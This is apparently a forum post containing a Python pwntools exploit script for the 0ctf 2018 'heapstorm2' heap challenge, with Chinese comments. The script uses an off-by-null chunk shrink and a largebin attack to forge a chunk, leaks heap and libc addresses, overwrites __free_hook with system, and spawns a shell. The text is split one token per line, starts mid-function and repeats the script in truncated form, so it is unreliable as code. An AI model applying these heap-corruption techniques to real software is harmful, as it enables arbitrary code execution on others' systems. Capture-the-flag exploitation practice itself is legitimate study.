str
(
len
(content)))
sa(con,content)
# 获取pie基地址
def
get_proc_base(p):
proc_base
=
p.libs()[p._cwd
+
p.argv[
0
].strip(
'.'
)]
info(
hex
(proc_base))
# 获取libc基地址
def
get_libc_base(p):
libc_base
=
p.libs()[libc_path]
info(
hex
(libc_base))
while
(
1
):
try
:
# get_proc_base(io)
# get_libc_base(io)
global
io
io
=
process(elf_path)
#io = remote("node3.buuoj.cn",29327)
add(
0x18
)
# 0
add(
0x508
)
# 1
add(
0x18
)
# 2
edit(
1
,
'a'
*
0x4f0
+
p64(
0x500
))
# 设置fake_pre_size
add(
0x18
)
# 3
add(
0x508
)
# 4
add(
0x18
)
# 5
edit(
4
,
'a'
*
0x4f0
+
p64(
0x500
))
# 设置fake_pre_size
add(
0x18
)
# 6
free(
1
)
edit(
0
,
'a'
*
(
0x18
-
0xc
))
# 对free后的1做off-by-null,造成chunk收缩
add(
0x18
)
# 1
add(
0x4d8
)
# 7 # 将0ff-by-null收缩后的freechunk分两次申请出来
free(
1
)
free(
2
)
# 触发后向合并:0x508+0x18
# 将合并后大小为0x538的freechunk重新构造成0x38和0x4e8
add(
0x38
)
# 1
add(
0x4e8
)
# 2
free(
4
)
edit(
3
,
'a'
*
(
0x18
-
12
))
add(
0x18
)
# 4
add(
0x4d8
)
# 8
free(
4
)
free(
5
)
# 后向合并造出0x530的freechunk
add(
0x48
)
# 4
free(
2
)
# unsortbin: 0x100203060 (size : 0x4f0) <--> 0x1002035c0 (size : 0x4e0)
add(
0x4e8
)
# 2
free(
2
)
# 把0x4f0的放回到unsortedbin
storage
=
0x13370800
fake_chunk
=
storage
-
0x20
p1
=
p64(
0
)
*
3
+
p64(
0x4f1
)
+
p64(
0
)
+
p64(fake_chunk)
edit(
7
,p1)
# 劫持unsortfbin中chunk的bk指针指向fakechunk
p2
=
p64(
0
)
*
4
+
p64(
0
)
+
p64(
0x4e1
)
p2
+
=
p64(
0
)
+
p64(fake_chunk
+
8
)
# 劫持在largebin中chunk的bk指针避免unlink时崩溃
p2
+
=
p64(
0
)
+
p64(fake_chunk
-
0x18
-
4
)
# 劫持在largebin中chunk的bk_nextsize指针
edit(
8
,p2)
add(
0x48
)
# 2,largebin attack触发,返回我们伪造位置的节点
p3
=
p64(
0
)
*
5
+
p64(
0x13377331
)
+
p64(storage)
#构造show函数的条件
edit(
2
,p3)
pause()
p4
=
p64(
0
)
*
3
+
p64(
0x13377331
)
+
p64(storage)
+
p64(
0x1000
)
+
p64(storage
-
0x20
+
3
)
+
p64(
8
)
edit(
0
,p4)
# 重新回写table,改掉对应表项为真实的ptr-size,而非异或后的,同时改那表头四个随机数为0,这样我们在xor的时候返回的就是地址/size真正的值了。
show(
1
)
# 输出我们largebin attack错位写在fakechunk上的地址来那道heap地址
r(
11
)
heap
=
u64(r(
5
).ljust(
8
,
'\x00'
))
info(
"heap:"
+
hex
(heap))
p5
=
p64(
0
)
*
3
+
p64(
0x13377331
)
+
p64(storage)
+
p64(
0x1000
)
+
p64(heap
+
0x10
)
+
p64(
8
)
#泄露main_arena
edit(
0
,p5)
#shell()
show(
1
)
libc_base
=
int
(u64(ru(
'\x7f'
)[
-
6
:].ljust(
8
,
'\x00'
)))
-
88
-
libc.sym[
'__malloc_hook'
]
-
0x10
print
hex
(libc_base)
system
=
libc_base
+
libc.sym[
'system'
]
free_hook
=
libc_base
+
libc.sym[
'__free_hook'
]
print
(
hex
(system),
hex
(free_hook))
p6
=
p64(
0
)
*
3
+
p64(
0x13377331
)
+
p64(storage)
+
p64(
0x1000
)
+
p64(free_hook)
+
p64(
0x1000
)
+
p64(storage
+
0x50
)
+
p64(
0x100
)
+
'/bin/sh\x00'
edit(
0
,p6)
edit(
1
,p64(system))
free(
2
)
shell()
pause()
except
Exception:
io.close()
continue
# encoding=utf-8
from
pwn
import
*
from
LibcSearcher
import
*
s
=
lambda
buf: io.send(buf)
sl
=
lambda
buf: io.sendline(buf)
sa
=
lambda
delim, buf: io.sendafter(delim, buf)
sal
=
lambda
delim, buf: io.sendlineafter(delim, buf)
shell
=
lambda
: io.interactive()
r
=
lambda
n
=
None
: io.recv(n)
ra
=
lambda
t
=
tube.forever:io.recvall(t)
ru
=
lambda
delim: io.recvuntil(delim)
rl
=
lambda
: io.recvline()
rls
=
lambda
n
=
2
*
*
20
: io.recvlines(n)
libc_path
=
"/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path
=
"./0ctf_2018_heapstorm2"
libc
=
ELF(libc_path)
elf
=
ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if
sys.argv[
1
]
=
=
'1'
:
context(log_level
=
'debug'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
elif
sys.argv[
1
]
=
=
'0'
:
context(log_level
=
'info'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
cho
=
'Command: '
# choice提示语
siz
=
'Size: '
# size输入提示语
con
=
'Content: '
# content输入提示语
ind
=
'Index: '
# index输入提示语
edi
=
''
# edit输入提示语
def
add(size,c
=
'1'
):
sal(cho,c)
sal(siz,
str
(size))
def
free(index,c
=
'3'
):
sal(cho,c)
sal(ind,
str
(index))
def
show(index,c
=
'4'
):
sal(cho,c)
sal(ind,
str
(index))
def
edit(index,content
=
'
',c='
2
'):
sal(cho,c)
sal(ind,
str
(index))
sal(siz,
str
(
len
(content)))
sa(con,content)
# 获取pie基地址
def
get_proc_base(p):
proc_base
=
p.libs()[p._cwd
+
p.argv[
0
].strip(
'.'
)]
info(
hex
(proc_base))
# 获取libc基地址
def
get_libc_base(p):
libc_base
=
p.libs()[libc_path]
info(
hex
(libc_base))
while
(
1
):
try
:
# get_proc_base(io)
# get_libc_base(io)
global
io
io
=
process(elf_path)
#io = remote("node3.buuoj.cn",29327)
add(
0x18
)
# 0
add(
0x508
)
# 1
add(
0x18
)
# 2
edit(
1
,
'a'
*
0x4f0
+
p64(
0x500
))
# 设置fake_pre_size
add(
0x18
)
# 3
add(
0x508
)
# 4
add(
0x18
)
# 5
edit(
4
,
'a'
*
0x4f0
+
p64(
0x500
))
# 设置fake_pre_size
add(
0x18
)
# 6
free(
1
)
edit(
0
,
'a'
*
(
0x18
-
0xc
))
# 对free后的1做off-by-null,造成chunk收缩
add(
0x18
)
# 1
add(
0x4d8
)
# 7 # 将0ff-by-null收缩后的freechunk分两次申请出来
free(
1
)
free(
2
)
# 触发后向合并:0x508+0x18
# 将合并后大小为0x538的freechunk重新构造成0x38和0x4e8
add(
0x38
)
# 1
add(
0x4e8
)
# 2
free(
4
)
edit(
3
,
'a'
*
(
0x18
-
12
))
add(
0x18
)
# 4
add(
0x4d8
)
# 8
free(
4
)
free(
5
)
# 后向合并造出0x530的freechunk
add(
0x48
)
# 4
free(
2
)
# unsortbin: 0x100203060 (size : 0x4f0) <--> 0x1002035c0 (size : 0x4e0)
add(
0x4e8
)
# 2
free(
2
)
# 把0x4f0的放回到unsortedbin
storage
=
0x13370800
fake_chunk
=
storage
-
0x20
p1
=
p64(
0
)
*
3
+
p64(
0x4f1
)
+
p64(
0
)
+
p64(fake_chunk)
edit(
7
,p1)
# 劫持unsortfbin中chunk的bk指针指向fakechunk
p2
=
p64(
0
)
*
4
+
p64(
0
)
+
p64(
0x4e1
)
p2
+
=
p64(
0
)
+
p64(fake_chunk
+
8
)
# 劫持在largebin中chunk的bk指针避免unlink时崩溃
p2
+
=
p64(
0
)
+
p64(fake_chunk
-
0x18
-
4
)
# 劫持在largebin中chunk的bk_nextsize指针
edit(
8
,p2)
add(
0x48
)
# 2,largebin attack触发,返回我们伪造位置的节点
p3
=
p64(
0
)
*
5
+
p64(
0x13377331
)
+
p64(storage)
#构造show函数的条件
edit(
2
,p3)
pause()
p4
=
p64(
0
)
*
3
+
p64(
0x13377331
)
+
p64(storage)
+
p64(
0x1000
)
+
p64(storage
-
0x20
+
3
)
+
p64(
8
)
edit(
0
,p4)
# 重新回写table,改掉对应表项为真实的ptr-size,而非异或后的,同时改那表头四个随机数为0,这样我们在xor的时候返回的就是地址/size真正的值了。
show(
1
)
# 输出我们largebin attack错位写在fakechunk上的地址来那道heap地址
r(
11
)
heap
=
u64(r(
5
).ljust(
8
,
'\x00'
))
info(
"heap:"
+
hex
(heap))
p5
=
p64(
0
)
*
3
+
p64(
0x13377331
)
+
p64(storage)
+
p64(
0x1000
)
+
p64(heap
+
0x10
)
+
p64(
8
)
#泄露main_arena
edit(
0
,p5)
#shell()
show(
1
)
libc_base
=
int
(u64(ru(
'\x7f'
)[
-
6
:].ljust(
8
,
'\x00'
)))
-
88
-
libc.sym[
'__malloc_hook'
]
-
0x10
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!